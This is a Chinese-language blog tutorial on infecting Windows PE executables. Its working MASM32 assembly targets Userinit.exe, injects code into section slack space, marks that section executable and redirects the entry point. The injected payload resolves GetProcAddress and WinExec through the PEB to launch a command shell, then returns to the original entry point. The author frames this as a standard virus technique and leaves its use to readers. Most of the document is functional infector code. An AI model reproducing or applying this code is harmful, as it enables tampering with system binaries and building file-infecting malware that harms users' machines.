感染PE文件的一个简单实例

感染PE文件的一个简单实例
作者:Cloud
QQ:329967612

 

 感染PE文件是典型的病毒技术,利用它可以做很多事。至于怎么用就是各位读者自己的事。呵呵。这里给出一个简单的代码实例,它将代码保存在节的间隙中,然后修改入口点。很简单,写给初学者。个人觉得具体的例子要比抽象的解说更印象深刻,记得当初我刚学的时候,看那些高手们写的文章,实在是郁闷,概念是懂了但用不到实践中去。希望这篇文章能对各位读者有所帮助。
 你需要有一些关于PE文件格式的基本知识,如果你还不了解,可以到网上去搜,多如牛毛。特别是要理解虚拟地址,相对虚拟地址的概念。还要懂一些汇编,能看懂就行。这里用的开发工具是Masm32v9(罗云彬的《Win32汇编语言程序设计》一书对Win32汇编讲得比较好,推荐阅读,网上应该可以下载到)。
 OK,那么现在开始。
 先定义一些用到的变量。
.const
  szExeFile  db  'C:/Windows/System32/Userinit.exe',0;这里填你想要感染的文件的路径
 
.data?
  hFile  dd  ? ;打开的文件句柄
  hMapFile  dd  ? ;创建的内存映射的句柄
  lpFile  dd  ? ;内存映射文件的基地址
  lpCodeRVA dd  ?  ;添加的代码的RVA
  lpCodeOffs dd  ? ;添加的代码的文件偏移

 .code
include AddCode.asm

AddCode.asm就是你要写入文件中的代码,为了使他能够正确执行,有一个重定位的问题,这个到后面再讲。

Start:
 invoke CreateFile,offset szUserinit,GENERIC_READ or GENERIC_WRITE,/
     NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
 .if eax != INVALID_HANDLE_VALUE
  mov hFile,eax
  invoke CreateFileMapping,eax,NULL,PAGE_READWRITE,0,0,NULL
  .if eax
   mov hMapFile,eax
invoke MapViewOfFile,eax,FILE_MAP_WRITE orFILE_MAP_READ,0,0,0 ;将文件映射到内存

 以上打开要感染的文件并将它映射到内存中去,没什么好讲的。如果不会用,可以查微软的MSDN中的API参考。
 下面开始分析PE格式,寻找节中可插入代码的空间。

#define IMAGE_SIZEOF_SHORT_NAME              8

typedef struct _IMAGE_SECTION_HEADER {
     BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];
     union {
             DWORD   PhysicalAddress;
             DWORD   VirtualSize;
     } Misc;
     DWORD   VirtualAddress;
     DWORD   SizeOfRawData;
     DWORD   PointerToRawData;
      DWORD   PointerToRelocations;
     DWORD   PointerToLinenumbers;
     WORD    NumberOfRelocations;
     WORD    NumberOfLinenumbers;
     DWORD   Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

这是从SDK中复制的IMAGE_SECTION_HEADER的定义,这里解释一下几个重要的成员的含义。VirtualSize是这个节的真实长度,SizeOfRawData是这个节在经过长度对齐这后的长度(为了装载的方便,编译器在链接生成PE文件的时候,会按照一定长度的倍数对代码进行对齐,不用的空闲空间用0填充。我们的代码就保存在这些间隙中)。PointerToRawData是节在文件中的偏移。VirtualAddress是节的RVA,它加上装载的基地址就是它被加载到内存后的地址。
 来看代码:
   .if eax
    mov lpFile,eax
    mov esi,eax
    add esi,(IMAGE_DOS_HEADER ptr [esi]).e_lfanew
    assume esi:ptr IMAGE_NT_HEADERS
    mov ebx,esi
    add ebx,sizeof IMAGE_NT_HEADERS
    assume ebx:ptr IMAGE_SECTION_HEADER
    xor eax,eax
    .while ax < [esi].FileHeader.NumberOfSections ;循环所有节
     mov ecx,[ebx].SizeOfRawData
     .if ecx
      sub ecx,[ebx].Misc.VirtualSize
      .if ecx >= ADD_CODE_LENGTH ;如果有足够的多余空间则添加代码
       jmp @F
      .endif
     .endif
     add ebx,sizeof IMAGE_SECTION_HEADER
     inc ax
    .endw

 它检查节中的空闲空间是否足够保存要插入的代码,够就插入代码。
    @@: mov eax,[ebx].VirtualAddress
    add eax,[ebx].Misc.VirtualSize
    mov lpCodeRVA,eax  ;添加的代码的RVA
    mov eax,[ebx].PointerToRawData
    add eax,[ebx].Misc.VirtualSize
    mov lpCodeOffs,eax   ;添加的代码的文件偏移
    or [ebx].Characteristics,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_EXECUTE ;给节加上可读和可执行属性
    add [ebx].Misc.VirtualSize,ADD_CODE_LENGTH ;修正节的实际大小
    add eax,lpFile
    invoke RtlMoveMemory,eax,offset ADD_CODE_START,ADD_CODE_LENGTH ;将代码复制到userinit.exe中
    mov edi,[esi].OptionalHeader.AddressOfEntryPoint
    add edi,[esi].OptionalHeader.ImageBase ;保存原入口点地址
    push lpCodeRVA
    pop [esi].OptionalHeader.AddressOfEntryPoint ;设置新的入口点
    mov eax,lpCodeOffs
    add eax,lpFile  ;定位到内存映射中的代码插入位置
    add eax,offset OldEntryAddr - offset ADD_CODE_START ;定位到OldEntryAddr标号处
    mov [eax],edi ;将原入口点写到AddCode.asm最后的dd ?中


 

 


 对照上面的图应该很容易就能够看懂代码,而且注释写得很详细,就不再解释了。要注意的是不要忘了修改节的属性,有些节是不具有可执行属性的,如果你尝试执行它会导致程序崩溃。最后记住做一些首尾工作,关闭打开的各个文件。为了突出问题,我就省略了。
 好了,再来看看插入的代码,例子中它保存在一个单独的文件AddCode.asm中。

ADD_CODE_START equ this byte

 assume fs:flat
 mov eax,fs:[30h]
 mov eax,[eax + 0ch]
 mov esi,[eax + 1ch]
 lodsd
 mov edx,[eax + 8h]   ;得到Kernel32基址
 
 mov eax,(IMAGE_DOS_HEADER ptr [edx]).e_lfanew ;得到IMAGE_NT_HEADERS地址
 mov eax,(IMAGE_NT_HEADERS ptr [edx + eax]).OptionalHeader.DataDirectory.VirtualAddress ;得到导出表RVA
 add eax,edx     ;导出表在内存的实际地址
 assume eax:ptr IMAGE_EXPORT_DIRECTORY
 mov esi,[eax].AddressOfNames
 add esi,edx
 push 00007373h ;在堆栈中构造GetProcAddress
 push 65726464h
 push 41636F72h
 push 50746547h
 push esp
 xor ecx,ecx
 .repeat
  mov edi,[esi]
  add edi,edx
  push esi
  mov esi,[esp + 4]
  push ecx
  mov ecx,0fh ;GetProcAddress的长度,包括0
  repz cmpsb
  .break .if ZERO? ;找到跳出循环
  pop ecx
  pop esi
  add esi,4
  inc ecx
 .until ecx >= [eax].NumberOfNames
 pop ecx
 mov esi,[eax].AddressOfNameOrdinals
 add esi,edx
 movzx ecx,word ptr [esi + ecx*2] ;取出序数
 mov esi,[eax].AddressOfFunctions
 assume eax:nothing
 add esi,edx
 mov esi,[esi + ecx*4]
 add esi,edx ;得到GetProcAddress地址
 push 00636578h ;在栈中构造WinExec
 push 456E6957h
 push esp
 push edx
 call esi ;调用GetProcAddress获取WinExec地址
 push 00444D43h ;;在栈中构造CMD
 push esp
 push SW_SHOW
 push [esp + 4]
 call eax ;调用WinExec
 
 db 68h  ;push xxxxxxxx指令机器码的第1个字节
OldEntryAddr:
 dd ? ;这4个字节用于保存原入口点,和上面的1个字节组成一条完整的push 原入口点指令
 jmp dword ptr [esp] ;跳到原入口点

ADD_CODE_END equ this byte
ADD_CODE_LENGTH equ offset ADD_CODE_END - offset ADD_CODE_START ;代码大小

 首先必须获得kernel32.dll的地址,然后分析PE文件,从导入表中得到LoadLibrary()和GetProcAddress()的地址,之后就可以任意使用其他DLL导入的函数了。
 解释一下获取kernel32.dll基地址的原理。每个进程都有一个称为PEB(进程环境块)的数据结构,我们就通过它来获取。这种方法比较通用,适合NT/2K/XP/2003(不适合Vista,它的动态库映射地址是不确定的),fs保存的段描述符指向线程环境块TEB,在它的偏移30h处是一个指向PEB的指针,通过它的一个成员就可以取得kernel32.dll的基地址。这是一个固定的模式,可以直接当作结论拿来用。如果想搞得更清楚一点,可以查看DDK中PPEB结构的定义。
 就到这里,最后说一下,这里的实例代码取自《黑客防线》十月份的杂志。
 

你可能感兴趣的:(感染PE文件的一个简单实例)